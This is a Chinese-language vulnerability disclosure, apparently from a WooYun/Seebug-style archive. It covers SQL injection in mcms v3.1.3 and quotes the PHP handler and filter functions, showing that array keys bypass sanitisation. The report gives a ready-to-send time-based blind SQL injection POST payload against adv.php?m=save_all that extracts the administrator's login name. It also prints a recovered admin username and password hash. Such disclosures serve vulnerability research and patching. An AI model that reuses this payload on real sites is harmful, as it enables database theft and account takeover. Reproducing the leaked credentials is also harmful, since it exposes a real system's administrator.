### 简要描述:
mcms最新版SQL注入(可出任意数据)
### 详细说明:
掌易科技的程序员反应相当快啊,确认漏洞当天就修复以后出新版本了,前面在wooyun提的几个漏洞新版的mcms做了相应的处理,发布了新版v_3.1.3.enterprise,再来研究研究。
注入一枚:POST /app/public/adv.php?m=save_all post中有6个参数存在注入。首先说明一下,这里POST的参数是一个二维数组,然后直接把第二维的数组代入了SQL执行,虽然使用了过滤函数,但是过滤函数对KEY无效。因此整个第二维数组的key都存在注入,而这里使用的表是mcms_adv,有area_id,title,area_type,area_remarks,area_html,area_status,这6个参数均可注入,看代码吧
```
function m__save_all() {
global $dbm;
$_GET=H::sqlxss($_GET);
$_POST=H::sqlxss($_POST);
$_POST['params'] = isset($_POST['params']) ? $_POST['params'] : array();
$id_str = '';
foreach($_POST['params'] as $v) {
unset($v[0]);
$area_id = $v['id'];
unset($v['id']);
$v['area_type'] = $v['area_type'.$area_id];
unset($v['area_type'.$area_id]);
$v['area_status'] = $v['area_status'.$area_id];
unset($v['area_status'.$area_id]);
if($v['title'] == '') continue;
if($v['area_type'] == 'code') {
$rs = $dbm->single_del(TB_PRE.'adv_img','area_id='.$area_id);
if($rs['error']) continue;
}
$rs = $dbm->single_update(TB_PRE.'adv',$v,'area_id='.$area_id);
$id_str .= $id_str == '' ? $area_id : ','.$area_id;
}
logs('编辑广告位 ('.$id_str.')',7);
die('{"code":"0","msg":"操作成功"}');
}
```
使用sqlxss()过滤,但是对KEY无效,代码如下
```
public static function sqlxss($input){
if(is_array($input)){
foreach($input as $k=>$v){
$input[$k]=H::sqlxss($v);
}
}else{
$input=H::escape($input,1);
$input=htmlspecialchars($input,ENT_QUOTES);
}
return $input;
}
```
对用户输入的内容先用H::escape过滤,再用htmlspecialchars过滤,我们再去看看H::escape
```
public static function escape($input, $urldecode = 0) {
if(is_array($input)){
foreach($input as $k=>$v){
$input[$k]=H::escape($v,$urldecode);
}
}else{
$input=trim($input);
if ($urldecode == 1) {
$input=str_replace(array('+'),array('{addplus}'),$input);
$input = urldecode($input);
$input=str_replace(array('{addplus}'),array('+'),$input);
}
// PHP版本大于5.4.0,直接转义字符
if (strnatcasecmp(PHP_VERSION, '5.4.0') >= 0) {
$input = addslashes($input);
} else {
// 魔法转义没开启,自动加反斜杠
if (!get_magic_quotes_gpc()) {
$input = addslashes($input);
}
}
}
//防止最后一个反斜杠引起SQL错误如 'abc\'
if(substr($input,-1,1)=='\\') $input=$input."'";//$input=substr($input,0,strlen($input)-1);
return $input;
}
```
虽然有以上的过滤,但是这几次过滤都没有对传入数组KEY进行过滤,而且是把用户传入的数组直接带入sql执行,并没有检查key是不是数据库的字段值。因此,这里的数组库的每个字段(用户传入数组的key)存在注入。
Payload:POST提交
```
params[0][]=¶ms[0][title]=%E6%89%8B%E6%9C%BA%E7%89%88%E5%B9%BB%E7%81%AF¶ms[0][area_type`%3d''/**/or/**/(select/**/if(ord(mid((select/**/login_name/**/from/**/mcms_user/**/limit/**/0,1),1,1))%3d108,sleep(1),0))/**/or/**/''#/**/]=img¶ms[0][area_remarks]=%E5%AE%BD320*%E9%AB%98160¶ms[0][area_status3]=1¶ms[0][id]=test
```
因为是time-based blind 注入,猜测管理员用户名的第一个字母时,若错误,不延迟,如下图
[<img src="https://images.seebug.org/upload/201504/20234432b6ef11c246ff6e578067faa2d19407a9.jpg" alt="错误副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/20234432b6ef11c246ff6e578067faa2d19407a9.jpg)
若正确,延迟,如下图
[<img src="https://images.seebug.org/upload/201504/202344475c0b0387cbdf4be11505538e3fa9e0a6.jpg" alt="成功副本.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201504/202344475c0b0387cbdf4be11505538e3fa9e0a6.jpg)
按上面的方法依次做下去(burp intruder或者自己写个脚本跑),可测试管理员用户名为:mcmsadmin,密码为: f6fdffe48c908deb0f4c3bd36c032e72
### 漏洞证明:
见 详细说明
暂无评论